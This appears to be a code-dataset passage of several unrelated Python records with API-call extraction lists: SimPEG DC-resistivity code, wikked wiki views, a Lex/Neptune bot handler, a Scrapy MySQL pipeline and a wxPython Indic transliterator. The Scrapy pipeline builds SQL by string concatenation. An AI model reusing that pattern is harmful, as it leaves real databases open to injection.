temp_yp = np.ones_like(gBFyp[:, 1])
temp_zm = np.ones_like(gBFzm[:, 2])
temp_zp = np.ones_like(gBFzp[:, 2])
if self.bc_type == "Neumann":
if self.verbose:
print("Setting BC to Neumann.")
alpha_xm, alpha_xp = temp_xm * 0.0, temp_xp * 0.0
alpha_ym, alpha_yp = temp_ym * 0.0, temp_yp * 0.0
alpha_zm, alpha_zp = temp_zm * 0.0, temp_zp * 0.0
beta_xm, beta_xp = temp_xm, temp_xp
beta_ym, beta_yp = temp_ym, temp_yp
beta_zm, beta_zp = temp_zm, temp_zp
gamma_xm, gamma_xp = temp_xm * 0.0, temp_xp * 0.0
gamma_ym, gamma_yp = temp_ym * 0.0, temp_yp * 0.0
gamma_zm, gamma_zp = temp_zm * 0.0, temp_zp * 0.0
elif self.bc_type == "Dirchlet":
if self.verbose:
print("Setting BC to Dirchlet.")
alpha_xm, alpha_xp = temp_xm, temp_xp
alpha_ym, alpha_yp = temp_ym, temp_yp
alpha_zm, alpha_zp = temp_zm, temp_zp
beta_xm, beta_xp = temp_xm * 0, temp_xp * 0
beta_ym, beta_yp = temp_ym * 0, temp_yp * 0
beta_zm, beta_zp = temp_zm * 0, temp_zp * 0
gamma_xm, gamma_xp = temp_xm * 0.0, temp_xp * 0.0
gamma_ym, gamma_yp = temp_ym * 0.0, temp_yp * 0.0
gamma_zm, gamma_zp = temp_zm * 0.0, temp_zp * 0.0
alpha = [alpha_xm, alpha_xp, alpha_ym, alpha_yp, alpha_zm, alpha_zp]
beta = [beta_xm, beta_xp, beta_ym, beta_yp, beta_zm, beta_zp]
gamma = [gamma_xm, gamma_xp, gamma_ym, gamma_yp, gamma_zm, gamma_zp]
elif self.mesh.dim == 2:
fxm, fxp, fym, fyp = self.mesh.faceBoundaryInd
gBFxm = self.mesh.gridFx[fxm, :]
gBFxp = self.mesh.gridFx[fxp, :]
gBFym = self.mesh.gridFy[fym, :]
gBFyp = self.mesh.gridFy[fyp, :]
# Setup Mixed B.C (alpha, beta, gamma)
temp_xm = np.ones_like(gBFxm[:, 0])
temp_xp = np.ones_like(gBFxp[:, 0])
temp_ym = np.ones_like(gBFym[:, 1])
temp_yp = np.ones_like(gBFyp[:, 1])
alpha_xm, alpha_xp = temp_xm * 0.0, temp_xp * 0.0
alpha_ym, alpha_yp = temp_ym * 0.0, temp_yp * 0.0
beta_xm, beta_xp = temp_xm, temp_xp
beta_ym, beta_yp = temp_ym, temp_yp
gamma_xm, gamma_xp = temp_xm * 0.0, temp_xp * 0.0
gamma_ym, gamma_yp = temp_ym * 0.0, temp_yp * 0.0
alpha = [alpha_xm, alpha_xp, alpha_ym, alpha_yp]
beta = [beta_xm, beta_xp, beta_ym, beta_yp]
gamma = [gamma_xm, gamma_xp, gamma_ym, gamma_yp]
x_BC, y_BC = getxBCyBC_CC(self.mesh, alpha, beta, gamma)
V = self.Vol
self.Div = V * self.mesh.faceDiv
P_BC, B = self.mesh.getBCProjWF_simple()
M = B * self.mesh.aveCC2F
self.Grad = self.Div.T - P_BC * Utils.sdiag(y_BC) * M
class Problem3D_N(BaseDCProblem):
"""
3D nodal DC problem
"""
_solutionType = "phiSolution"
_formulation = "EB" # N potentials means B is on faces
fieldsPair = Fields_N
def __init__(self, mesh, **kwargs):
BaseDCProblem.__init__(self, mesh, **kwargs)
def getA(self):
"""
Make the A matrix for the cell centered DC resistivity problem
A = G.T MeSigma G
"""
MeSigma = self.MeSigma
Grad = self.mesh.nodalGrad
A = Grad.T * MeSigma * Grad
Vol = self.mesh.vol
# Handling Null space of A
I, J, V = sp.sparse.find(A[0, :])
for jj in J:
A[0, jj] = 0.0
A[0, 0] = 1.0 / Vol[0]
return A
def getADeriv(self, u, v, adjoint=False):
"""
Product of the derivative of our system matrix with respect to the
model and a vector
"""
Grad = self.mesh.nodalGrad
if not adjoint:
return Grad.T * (self.MeSigmaDeriv(Grad * u) * v)
elif adjoint:
return self.MeSigmaDeriv(Grad * u).T * (Grad * v)
def getRHS(self):
"""
RHS for the DC problem
q
"""
RHS = self.getSourceTerm()
return RHS
def getRHSDeriv(self, src, v, adjoint=False):
"""
Derivative of the right hand side with respect to the model
"""
# TODO: add qDeriv for RHS depending on m
# qDeriv = src.evalDeriv(self, adjoint=adjoint)
# return qDeriv
return Zero()
| [
"numpy.ones_like",
"numpy.hstack",
"numpy.zeros",
"scipy.sparse.find",
"SimPEG.Utils.Zero"
] | [((1663, 1676), 'numpy.hstack', 'np.hstack', (['Jv'], {}), '(Jv)\n', (1672, 1676), True, 'import numpy as np\n'), ((1934, 1950), 'numpy.zeros', 'np.zeros', (['m.size'], {}), '(m.size)\n', (1942, 1950), True, 'import numpy as np\n'), ((5010, 5016), 'SimPEG.Utils.Zero', 'Zero', ([], {}), '()\n', (5014, 5016), False, 'from SimPEG.Utils import Zero\n'), ((9985, 10008), 'scipy.sparse.find', 'sp.sparse.find', (['A[0, :]'], {}), '(A[0, :])\n', (9999, 10008), True, 'import scipy as sp\n'), ((10919, 10925), 'SimPEG.Utils.Zero', 'Zero', ([], {}), '()\n', (10923, 10925), False, 'from SimPEG.Utils import Zero\n'), ((4062, 4085), 'scipy.sparse.find', 'sp.sparse.find', (['A[0, :]'], {}), '(A[0, :])\n', (4076, 4085), True, 'import scipy as sp\n'), ((5955, 5980), 'numpy.ones_like', 'np.ones_like', (['gBFxm[:, 0]'], {}), '(gBFxm[:, 0])\n', (5967, 5980), True, 'import numpy as np\n'), ((6007, 6032), 'numpy.ones_like', 'np.ones_like', (['gBFxp[:, 0]'], {}), '(gBFxp[:, 0])\n', (6019, 6032), True, 'import numpy as np\n'), ((6059, 6084), 'numpy.ones_like', 'np.ones_like', (['gBFym[:, 1]'], {}), '(gBFym[:, 1])\n', (6071, 6084), True, 'import numpy as np\n'), ((6111, 6136), 'numpy.ones_like', 'np.ones_like', (['gBFyp[:, 1]'], {}), '(gBFyp[:, 1])\n', (6123, 6136), True, 'import numpy as np\n'), ((6163, 6188), 'numpy.ones_like', 'np.ones_like', (['gBFzm[:, 2]'], {}), '(gBFzm[:, 2])\n', (6175, 6188), True, 'import numpy as np\n'), ((6215, 6240), 'numpy.ones_like', 'np.ones_like', (['gBFzp[:, 2]'], {}), '(gBFzp[:, 2])\n', (6227, 6240), True, 'import numpy as np\n'), ((8322, 8347), 'numpy.ones_like', 'np.ones_like', (['gBFxm[:, 0]'], {}), '(gBFxm[:, 0])\n', (8334, 8347), True, 'import numpy as np\n'), ((8374, 8399), 'numpy.ones_like', 'np.ones_like', (['gBFxp[:, 0]'], {}), '(gBFxp[:, 0])\n', (8386, 8399), True, 'import numpy as np\n'), ((8426, 8451), 'numpy.ones_like', 'np.ones_like', (['gBFym[:, 1]'], {}), '(gBFym[:, 1])\n', (8438, 8451), True, 'import numpy as np\n'), ((8478, 8503), 'numpy.ones_like', 'np.ones_like', (['gBFyp[:, 1]'], {}), '(gBFyp[:, 1])\n', (8490, 8503), True, 'import numpy as np\n')] |
import urllib.parse
from wikked.db.base import NoWantedPages
from wikked.page import WantedPage
from wikked.utils import get_absolute_url
from wikked.webimpl import (
get_page_meta, get_page_or_raise, make_page_title,
is_page_readable, get_redirect_target,
get_or_build_pagelist, get_generic_pagelist_builder,
UserPermissionError, CircularRedirectError, RedirectNotFoundError)
def build_pagelist_view_data(pages, user):
pages = sorted(pages, key=lambda p: p.url)
data = [get_page_meta(p) for p in pages if is_page_readable(p, user)]
result = {'pages': data}
return result
def generic_pagelist_view(wiki, user, list_name, filter_func, fields=None):
fields = fields or ['url', 'title', 'local_meta', 'meta']
pages = get_or_build_pagelist(
wiki,
list_name,
get_generic_pagelist_builder(wiki, filter_func, fields),
fields=fields)
return build_pagelist_view_data(pages, user)
def get_orphans(wiki, user):
def builder_func():
wiki.resolve()
pages = {}
rev_links = {}
for p in wiki.getPages(
no_endpoint_only=True,
fields=['url', 'title', 'local_meta', 'meta', 'links']):
pages[p.url] = p
rev_links.setdefault(p.url, 0)
for l in p.links:
abs_l = get_absolute_url(p.url, l)
cnt = rev_links.get(abs_l, 0)
rev_links[abs_l] = cnt + 1
or_pages = []
for tgt, cnt in rev_links.items():
if cnt == 0:
or_pages.append(pages[tgt])
return or_pages
fields = ['url', 'title', 'local_meta', 'meta', 'links']
pages = get_or_build_pagelist(wiki, 'orphans', builder_func, fields)
return build_pagelist_view_data(pages, user)
def get_broken_redirects(wiki, user):
def filter_func(page):
redirect_meta = page.getMeta('redirect')
if redirect_meta is None:
return False
path = get_absolute_url(page.url, redirect_meta)
try:
target, visited = get_redirect_target(
path,
fields=['url', 'local_meta', 'meta'])
except CircularRedirectError:
return True
except RedirectNotFoundError:
return True
return False
return generic_pagelist_view(wiki, user, 'broken_redirects', filter_func)
def get_double_redirects(wiki, user):
def builder_func():
wiki.resolve()
pages = {}
redirs = {}
for p in wiki.getPages(
no_endpoint_only=True,
fields=['url', 'title', 'local_meta', 'meta']):
pages[p.url] = p
target = p.getMeta('redirect')
if target:
target = get_absolute_url(p.url, target)
redirs[p.url] = target
dr_pages = []
for src, tgt in redirs.items():
if tgt in redirs:
dr_pages.append(pages[src])
return dr_pages
fields = ['url', 'title', 'local_meta', 'meta']
pages = get_or_build_pagelist(wiki, 'double_redirects', builder_func,
fields)
return build_pagelist_view_data(pages, user)
def get_dead_ends(wiki, user):
def filter_func(page):
return len(page.links) == 0
return generic_pagelist_view(
wiki, user, 'dead_ends', filter_func,
fields=['url', 'title', 'local_meta', 'meta', 'links'])
def get_broken_links(wiki, user):
def builder_func():
wiki.resolve()
pages = set()
page_existence = {}
for p in wiki.getPages(
no_endpoint_only=True,
fields=['url', 'title', 'local_meta', 'meta', 'links']):
# Gather all outgoing links from each page, then check which
# of those match another page in the dictionary.
for l in p.links:
abs_l = get_absolute_url(p.url, l)
exists = page_existence.get(abs_l, None)
if exists is None:
# Don't know yet if this URL is valid, so let's ask the
# database and cache the result.
exists = wiki.pageExists(abs_l)
page_existence[abs_l] = exists
if not exists:
pages.add(p)
return pages
fields = ['url', 'title', 'local_meta', 'meta']
pages = get_or_build_pagelist(wiki, 'broken_links', builder_func, fields)
return build_pagelist_view_data(pages, user)
def get_wanted_pages(wiki, user):
def builder_func():
wiki.resolve()
wanted = {}
page_existence = {}
for p in wiki.getPages(
no_endpoint_only=True,
fields=['url', 'title', 'local_meta', 'meta', 'links']):
for l in p.links:
abs_l = get_absolute_url(p.url, l)
exists = page_existence.get(abs_l, None)
if exists is None:
exists = wiki.pageExists(abs_l)
page_existence[abs_l] = exists
if not exists:
wanted.setdefault(abs_l, p)
return [WantedPage(u, p) for u, p in wanted.items()]
try:
wanted = sorted(wiki.db.getWantedPages(), key=lambda p: p.url)
except NoWantedPages:
wanted = None
if wanted is None:
wanted = builder_func()
wiki.db.saveWantedPages(wanted)
data = []
for w in wanted:
d = {'url': urllib.parse.quote(w.url.encode('utf-8')),
'title': make_page_title(w.url),
'wanted_by': {
'url': urllib.parse.quote(w.wanted_by.url.encode('utf-8')),
'title': w.wanted_by.title}
}
data.append(d)
result = {'wanted_pages': data}
return result
def list_pages(wiki, user, url=None):
pages = [p for p in wiki.getPages(url) if is_page_readable(p, user)]
page_metas = [get_page_meta(page) for page in pages]
result = {'path': url, 'pages': list(page_metas)}
return result
def get_search_results(wiki, user, query):
readable_hits = []
hits = list(wiki.index.search(query))
for h in hits:
try:
get_page_or_raise(wiki, h.url,
check_perms=(user, 'read'))
except UserPermissionError:
continue
readable_hits.append({
'url': h.url,
'title': h.title,
'text': h.hl_text})
result = {
'query': query,
'hit_count': len(readable_hits),
'hits': readable_hits}
return result
def get_search_preview_results(wiki, user, query):
readable_hits = []
hits = list(wiki.index.previewSearch(query))
for h in hits:
try:
get_page_or_raise(wiki, h.url,
check_perms=(user, 'read'))
except UserPermissionError:
continue
readable_hits.append({'url': h.url, 'title': h.title})
result = {
'query': query,
'hit_count': len(readable_hits),
'hits': readable_hits}
return result
| [
"wikked.webimpl.make_page_title",
"wikked.webimpl.get_redirect_target",
"wikked.webimpl.is_page_readable",
"wikked.webimpl.get_page_or_raise",
"wikked.webimpl.get_page_meta",
"wikked.webimpl.get_generic_pagelist_builder",
"wikked.webimpl.get_or_build_pagelist",
"wikked.utils.get_absolute_url",
"wikk... | [((1724, 1784), 'wikked.webimpl.get_or_build_pagelist', 'get_or_build_pagelist', (['wiki', '"""orphans"""', 'builder_func', 'fields'], {}), "(wiki, 'orphans', builder_func, fields)\n", (1745, 1784), False, 'from wikked.webimpl import get_page_meta, get_page_or_raise, make_page_title, is_page_readable, get_redirect_target, get_or_build_pagelist, get_generic_pagelist_builder, UserPermissionError, CircularRedirectError, RedirectNotFoundError\n'), ((3119, 3188), 'wikked.webimpl.get_or_build_pagelist', 'get_or_build_pagelist', (['wiki', '"""double_redirects"""', 'builder_func', 'fields'], {}), "(wiki, 'double_redirects', builder_func, fields)\n", (3140, 3188), False, 'from wikked.webimpl import get_page_meta, get_page_or_raise, make_page_title, is_page_readable, get_redirect_target, get_or_build_pagelist, get_generic_pagelist_builder, UserPermissionError, CircularRedirectError, RedirectNotFoundError\n'), ((4488, 4553), 'wikked.webimpl.get_or_build_pagelist', 'get_or_build_pagelist', (['wiki', '"""broken_links"""', 'builder_func', 'fields'], {}), "(wiki, 'broken_links', builder_func, fields)\n", (4509, 4553), False, 'from wikked.webimpl import get_page_meta, get_page_or_raise, make_page_title, is_page_readable, get_redirect_target, get_or_build_pagelist, get_generic_pagelist_builder, UserPermissionError, CircularRedirectError, RedirectNotFoundError\n'), ((513, 529), 'wikked.webimpl.get_page_meta', 'get_page_meta', (['p'], {}), '(p)\n', (526, 529), False, 'from wikked.webimpl import get_page_meta, get_page_or_raise, make_page_title, is_page_readable, get_redirect_target, get_or_build_pagelist, get_generic_pagelist_builder, UserPermissionError, CircularRedirectError, RedirectNotFoundError\n'), ((850, 905), 'wikked.webimpl.get_generic_pagelist_builder', 'get_generic_pagelist_builder', (['wiki', 'filter_func', 'fields'], {}), '(wiki, filter_func, fields)\n', (878, 905), False, 'from wikked.webimpl import get_page_meta, get_page_or_raise, make_page_title, is_page_readable, get_redirect_target, get_or_build_pagelist, get_generic_pagelist_builder, UserPermissionError, CircularRedirectError, RedirectNotFoundError\n'), ((2025, 2066), 'wikked.utils.get_absolute_url', 'get_absolute_url', (['page.url', 'redirect_meta'], {}), '(page.url, redirect_meta)\n', (2041, 2066), False, 'from wikked.utils import get_absolute_url\n'), ((6039, 6058), 'wikked.webimpl.get_page_meta', 'get_page_meta', (['page'], {}), '(page)\n', (6052, 6058), False, 'from wikked.webimpl import get_page_meta, get_page_or_raise, make_page_title, is_page_readable, get_redirect_target, get_or_build_pagelist, get_generic_pagelist_builder, UserPermissionError, CircularRedirectError, RedirectNotFoundError\n'), ((548, 573), 'wikked.webimpl.is_page_readable', 'is_page_readable', (['p', 'user'], {}), '(p, user)\n', (564, 573), False, 'from wikked.webimpl import get_page_meta, get_page_or_raise, make_page_title, is_page_readable, get_redirect_target, get_or_build_pagelist, get_generic_pagelist_builder, UserPermissionError, CircularRedirectError, RedirectNotFoundError\n'), ((2110, 2173), 'wikked.webimpl.get_redirect_target', 'get_redirect_target', (['path'], {'fields': "['url', 'local_meta', 'meta']"}), "(path, fields=['url', 'local_meta', 'meta'])\n", (2129, 2173), False, 'from wikked.webimpl import get_page_meta, get_page_or_raise, make_page_title, is_page_readable, get_redirect_target, get_or_build_pagelist, get_generic_pagelist_builder, UserPermissionError, CircularRedirectError, RedirectNotFoundError\n'), ((5251, 5267), 'wikked.page.WantedPage', 'WantedPage', (['u', 'p'], {}), '(u, p)\n', (5261, 5267), False, 'from wikked.page import WantedPage\n'), ((5642, 5664), 'wikked.webimpl.make_page_title', 'make_page_title', (['w.url'], {}), '(w.url)\n', (5657, 5664), False, 'from wikked.webimpl import get_page_meta, get_page_or_raise, make_page_title, is_page_readable, get_redirect_target, get_or_build_pagelist, get_generic_pagelist_builder, UserPermissionError, CircularRedirectError, RedirectNotFoundError\n'), ((5994, 6019), 'wikked.webimpl.is_page_readable', 'is_page_readable', (['p', 'user'], {}), '(p, user)\n', (6010, 6019), False, 'from wikked.webimpl import get_page_meta, get_page_or_raise, make_page_title, is_page_readable, get_redirect_target, get_or_build_pagelist, get_generic_pagelist_builder, UserPermissionError, CircularRedirectError, RedirectNotFoundError\n'), ((6304, 6362), 'wikked.webimpl.get_page_or_raise', 'get_page_or_raise', (['wiki', 'h.url'], {'check_perms': "(user, 'read')"}), "(wiki, h.url, check_perms=(user, 'read'))\n", (6321, 6362), False, 'from wikked.webimpl import get_page_meta, get_page_or_raise, make_page_title, is_page_readable, get_redirect_target, get_or_build_pagelist, get_generic_pagelist_builder, UserPermissionError, CircularRedirectError, RedirectNotFoundError\n'), ((6893, 6951), 'wikked.webimpl.get_page_or_raise', 'get_page_or_raise', (['wiki', 'h.url'], {'check_perms': "(user, 'read')"}), "(wiki, h.url, check_perms=(user, 'read'))\n", (6910, 6951), False, 'from wikked.webimpl import get_page_meta, get_page_or_raise, make_page_title, is_page_readable, get_redirect_target, get_or_build_pagelist, get_generic_pagelist_builder, UserPermissionError, CircularRedirectError, RedirectNotFoundError\n'), ((1375, 1401), 'wikked.utils.get_absolute_url', 'get_absolute_url', (['p.url', 'l'], {}), '(p.url, l)\n', (1391, 1401), False, 'from wikked.utils import get_absolute_url\n'), ((2822, 2853), 'wikked.utils.get_absolute_url', 'get_absolute_url', (['p.url', 'target'], {}), '(p.url, target)\n', (2838, 2853), False, 'from wikked.utils import get_absolute_url\n'), ((3987, 4013), 'wikked.utils.get_absolute_url', 'get_absolute_url', (['p.url', 'l'], {}), '(p.url, l)\n', (4003, 4013), False, 'from wikked.utils import get_absolute_url\n'), ((4933, 4959), 'wikked.utils.get_absolute_url', 'get_absolute_url', (['p.url', 'l'], {}), '(p.url, l)\n', (4949, 4959), False, 'from wikked.utils import get_absolute_url\n')] |
#
# Copyright 2018 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of this
# software and associated documentation files (the "Software"), to deal in the Software
# without restriction, including without limitation the rights to use, copy, modify,
# merge, publish, distribute, sublicense, and/or sell copies of the Software, and to
# permit persons to whom the Software is furnished to do so.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
# INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
# PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
# HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
# SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
#
# Gremlin imports.
from __future__ import print_function # Python 2/3 compatibility
from projectdir.gremlin_python import statics
from projectdir.gremlin_python.structure.graph import Graph
from projectdir.gremlin_python.process.graph_traversal import __
from projectdir.gremlin_python.process.strategies import *
from projectdir.gremlin_python.driver.driver_remote_connection import DriverRemoteConnection
import logging
import json
import bibot_helpers as helpers
logger = logging.getLogger()
logger.setLevel(logging.DEBUG)
# TODO: Make this URL configurable.
graphConnection = DriverRemoteConnection('ws://neptunedbcluster-cxu2i0c92g94.cluster-cryiyy1ygf5o.us-east-1.neptune.amazonaws.com:8182/gremlin','g')
def get_slots(intent_request):
return intent_request['currentIntent']['slots']
def elicit_slot(session_attributes, intent_name, slots, slot_to_elicit, message):
return {
'sessionAttributes': session_attributes,
'dialogAction': {
'type': 'ElicitSlot',
'intentName': intent_name,
'slots': slots,
'slotToElicit': slot_to_elicit,
'message': message
}
}
def close(session_attributes, fulfillment_state, message):
response = {
'sessionAttributes': session_attributes,
'dialogAction': {
'type': 'Close',
'fulfillmentState': fulfillment_state,
'message': message
}
}
return response
def delegate(session_attributes, slots):
return {
'sessionAttributes': session_attributes,
'dialogAction': {
'type': 'Delegate',
'slots': slots
}
}
def category(intent_request):
categoryName = get_slots(intent_request)["CategorySlot"]
source = intent_request['invocationSource']
product_name = 'Cisco NCS 4201'
graph = Graph()
g = graph.traversal().withRemote(graphConnection)
print(g.V().limit(2).toList())
output_session_attributes = intent_request['sessionAttributes'] if intent_request['sessionAttributes'] is not None else {}
output_session_attributes['Product'] = product_name
output_session_attributes['Category'] = categoryName
output_session_attributes['Type'] = 'SYSTEM_SPEC'
if source == 'DialogCodeHook':
return delegate(output_session_attributes, get_slots(intent_request))
# Selected Category, Return a dummy Cisco Product.
# This will need to hook up with Neptune.
return close(output_session_attributes,
'Fulfilled',
{'contentType': 'PlainText',
'content': 'Proceeding with category = {}, product = {}'.format(categoryName, product_name)
})
def lambda_handler(event, context):
logger.debug('<<BIBot>> Lex event info = ' + json.dumps(event))
session_attributes = event['sessionAttributes']
logger.debug('<<BIBot>> lambda_handler: session_attributes = ' + json.dumps(session_attributes))
return hello_intent_handler(event, session_attributes)
def hello_intent_handler(intent_request, session_attributes):
session_attributes['resetCount'] = '0'
session_attributes['finishedCount'] = '0'
# don't alter session_attributes['lastIntent'], let BIBot remember the last used intent
askCount = helpers.increment_counter(session_attributes, 'greetingCount')
# build response string
if askCount == 1: response_string = "Hello! How can I help?"
elif askCount == 2: response_string = "I'm here"
elif askCount == 3: response_string = "I'm listening"
elif askCount == 4: response_string = "Yes?"
elif askCount == 5: response_string = "Really?"
else: response_string = 'Ok'
return category(intent_request)
#return helpers.close(session_attributes, 'Fulfilled', {'contentType': 'PlainText','content': response_string})
| [
"logging.getLogger",
"json.dumps",
"projectdir.gremlin_python.structure.graph.Graph",
"bibot_helpers.increment_counter",
"projectdir.gremlin_python.driver.driver_remote_connection.DriverRemoteConnection"
] | [((1442, 1461), 'logging.getLogger', 'logging.getLogger', ([], {}), '()\n', (1459, 1461), False, 'import logging\n'), ((1550, 1691), 'projectdir.gremlin_python.driver.driver_remote_connection.DriverRemoteConnection', 'DriverRemoteConnection', (['"""ws://neptunedbcluster-cxu2i0c92g94.cluster-cryiyy1ygf5o.us-east-1.neptune.amazonaws.com:8182/gremlin"""', '"""g"""'], {}), "(\n 'ws://neptunedbcluster-cxu2i0c92g94.cluster-cryiyy1ygf5o.us-east-1.neptune.amazonaws.com:8182/gremlin'\n , 'g')\n", (1572, 1691), False, 'from projectdir.gremlin_python.driver.driver_remote_connection import DriverRemoteConnection\n'), ((2827, 2834), 'projectdir.gremlin_python.structure.graph.Graph', 'Graph', ([], {}), '()\n', (2832, 2834), False, 'from projectdir.gremlin_python.structure.graph import Graph\n'), ((4272, 4334), 'bibot_helpers.increment_counter', 'helpers.increment_counter', (['session_attributes', '"""greetingCount"""'], {}), "(session_attributes, 'greetingCount')\n", (4297, 4334), True, 'import bibot_helpers as helpers\n'), ((3778, 3795), 'json.dumps', 'json.dumps', (['event'], {}), '(event)\n', (3788, 3795), False, 'import json\n'), ((3919, 3949), 'json.dumps', 'json.dumps', (['session_attributes'], {}), '(session_attributes)\n', (3929, 3949), False, 'import json\n')] |
# -*- coding: utf-8 -*-
# Define your item pipelines here
#
# Don't forget to add your pipeline to the ITEM_PIPELINES setting
# See: https://doc.scrapy.org/en/latest/topics/item-pipeline.html
import pymysql
class MysqlpjtPipeline(object):
def __init__(self):
# 与数据库建立连接
self.conn = pymysql.connect(host='localhost', user='root', passwd='<PASSWORD>', db='cobweb')
def process_item(self, item, spider):
name = item['name'][0]
key = item['keywd'][0]
self.conn.autocommit(True)
sql = "insert into mytb (title, keywd) VALUES ('" + name + "', '" + key + "')"
print('sql: {sql}'.format(sql=sql))
self.conn.query(sql)
return item
def close_spider(self, spider):
self.conn.connect()
| [
"pymysql.connect"
] | [((306, 391), 'pymysql.connect', 'pymysql.connect', ([], {'host': '"""localhost"""', 'user': '"""root"""', 'passwd': '"""<PASSWORD>"""', 'db': '"""cobweb"""'}), "(host='localhost', user='root', passwd='<PASSWORD>', db='cobweb'\n )\n", (321, 391), False, 'import pymysql\n')] |
#!/opt/local/bin/python2.7
# -*- coding: utf-8 -*-
__author__ = 'naras_mg'
import wx
def detectLang(ch):
start_end = {0:[0x0900,0x097F],1:[0x980, 0x9ff],2:[0xa00, 0xa7f], 3:[0xa80, 0xaff], \
4:[0x0900,0x097F],5:[0xb00, 0xb7f],6:[0xb80, 0xbff],7:[0xc00, 0xc7f],8:[0xc80, 0xcff]}
for k,v in start_end.items():
ch_hex = uni_to_hex(ch)
if ch_hex >= v[0] and ch_hex <= v[1]:
return k
return None
def uni_to_hex(u):
return int(r"0x"+repr(u).translate(None,r"\xuu'"),0)
def transliterate(ch,targetScript):
# print ch, type(ch)
if ord(ch) < 128: return ch # ascii
elif ch in [u'\u0964',u'\u0965']: return ch # extra devanagari chars .. danda/double danda
else:
return IndianUnicodeValue[targetScript][uni_to_hex(ch) - uni_to_hex(IndianUnicodeValue[detectLang(ch)][1])+1]
def transliterate_lines(source,scriptTarget='devanagari'):
for i,e in enumerate(IndianLanguages):
if scriptTarget == e: trg = i;
target=''
for s in source:
# if ord(c) > 127: print 'transliterating:',c,uni_to_hex(c)
target += transliterate(s,trg)
return target
IndianLanguages = ('devanagari','bengali','gurmukhi','gujarati','oriya','tamizh','telugu','kannada','malayalam')
IndianUnicodeValue = [['devanagari'],['bengali'],['gurmukhi'],['gujarati'],['oriya'],['tamizh'],['telugu'],['kannada'],['malayalam']]
class Example(wx.Frame):
def __init__(self, *args, **kw):
super(Example, self).__init__(*args, **kw)
self.InitUI()
def InitUI(self):
pnl = wx.Panel(self)
l1 = wx.StaticText(pnl, -1, "Transliterate Language")
cb = wx.ComboBox(pnl, pos=(50, 30), choices=IndianLanguages,
style=wx.CB_READONLY)
self.stsrc = wx.StaticText(pnl, label='Source Text', pos=(40, 90))
self.sttrg = wx.StaticText(pnl, label='Target Text', pos=(40, 220))
cb.Bind(wx.EVT_COMBOBOX, self.OnSelect)
self.txtSrc = wx.TextCtrl(parent = pnl, id = -1, pos = (50, 110), size = (410, 90), style = wx.TE_MULTILINE|wx.TE_AUTO_URL)
self.txtTrg = wx.TextCtrl(parent = pnl, id = -1, pos = (50,240), size = (410, 90), style = wx.TE_MULTILINE|wx.TE_READONLY|wx.TE_AUTO_URL)
self.SetSize((550, 430))
self.SetTitle('Choose Target Language')
self.Centre()
self.Show(True)
def OnSelect(self, e):
if self.txtSrc.GetValue()!='':
self.txtTrg.SetValue(transliterate_lines(self.txtSrc.GetValue(),e.GetString()))
def main():
for j in range(9):
for i in xrange(0x0900,0x097F): #(0x0905,0x093A):
IndianUnicodeValue[j].append(unichr(i+128*j))
ex = wx.App()
Example(None)
ex.MainLoop()
if __name__ == '__main__':
main()
| [
"wx.ComboBox",
"wx.StaticText",
"wx.TextCtrl",
"wx.App",
"wx.Panel"
] | [((2674, 2682), 'wx.App', 'wx.App', ([], {}), '()\n', (2680, 2682), False, 'import wx\n'), ((1572, 1586), 'wx.Panel', 'wx.Panel', (['self'], {}), '(self)\n', (1580, 1586), False, 'import wx\n'), ((1600, 1648), 'wx.StaticText', 'wx.StaticText', (['pnl', '(-1)', '"""Transliterate Language"""'], {}), "(pnl, -1, 'Transliterate Language')\n", (1613, 1648), False, 'import wx\n'), ((1662, 1739), 'wx.ComboBox', 'wx.ComboBox', (['pnl'], {'pos': '(50, 30)', 'choices': 'IndianLanguages', 'style': 'wx.CB_READONLY'}), '(pnl, pos=(50, 30), choices=IndianLanguages, style=wx.CB_READONLY)\n', (1673, 1739), False, 'import wx\n'), ((1774, 1827), 'wx.StaticText', 'wx.StaticText', (['pnl'], {'label': '"""Source Text"""', 'pos': '(40, 90)'}), "(pnl, label='Source Text', pos=(40, 90))\n", (1787, 1827), False, 'import wx\n'), ((1849, 1903), 'wx.StaticText', 'wx.StaticText', (['pnl'], {'label': '"""Target Text"""', 'pos': '(40, 220)'}), "(pnl, label='Target Text', pos=(40, 220))\n", (1862, 1903), False, 'import wx\n'), ((1975, 2081), 'wx.TextCtrl', 'wx.TextCtrl', ([], {'parent': 'pnl', 'id': '(-1)', 'pos': '(50, 110)', 'size': '(410, 90)', 'style': '(wx.TE_MULTILINE | wx.TE_AUTO_URL)'}), '(parent=pnl, id=-1, pos=(50, 110), size=(410, 90), style=wx.\n TE_MULTILINE | wx.TE_AUTO_URL)\n', (1986, 2081), False, 'import wx\n'), ((2107, 2230), 'wx.TextCtrl', 'wx.TextCtrl', ([], {'parent': 'pnl', 'id': '(-1)', 'pos': '(50, 240)', 'size': '(410, 90)', 'style': '(wx.TE_MULTILINE | wx.TE_READONLY | wx.TE_AUTO_URL)'}), '(parent=pnl, id=-1, pos=(50, 240), size=(410, 90), style=wx.\n TE_MULTILINE | wx.TE_READONLY | wx.TE_AUTO_URL)\n', (2118, 2230), False, 'import wx\n')] |
"""MIT License
Copyright (c) 2021 veil-ctf
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
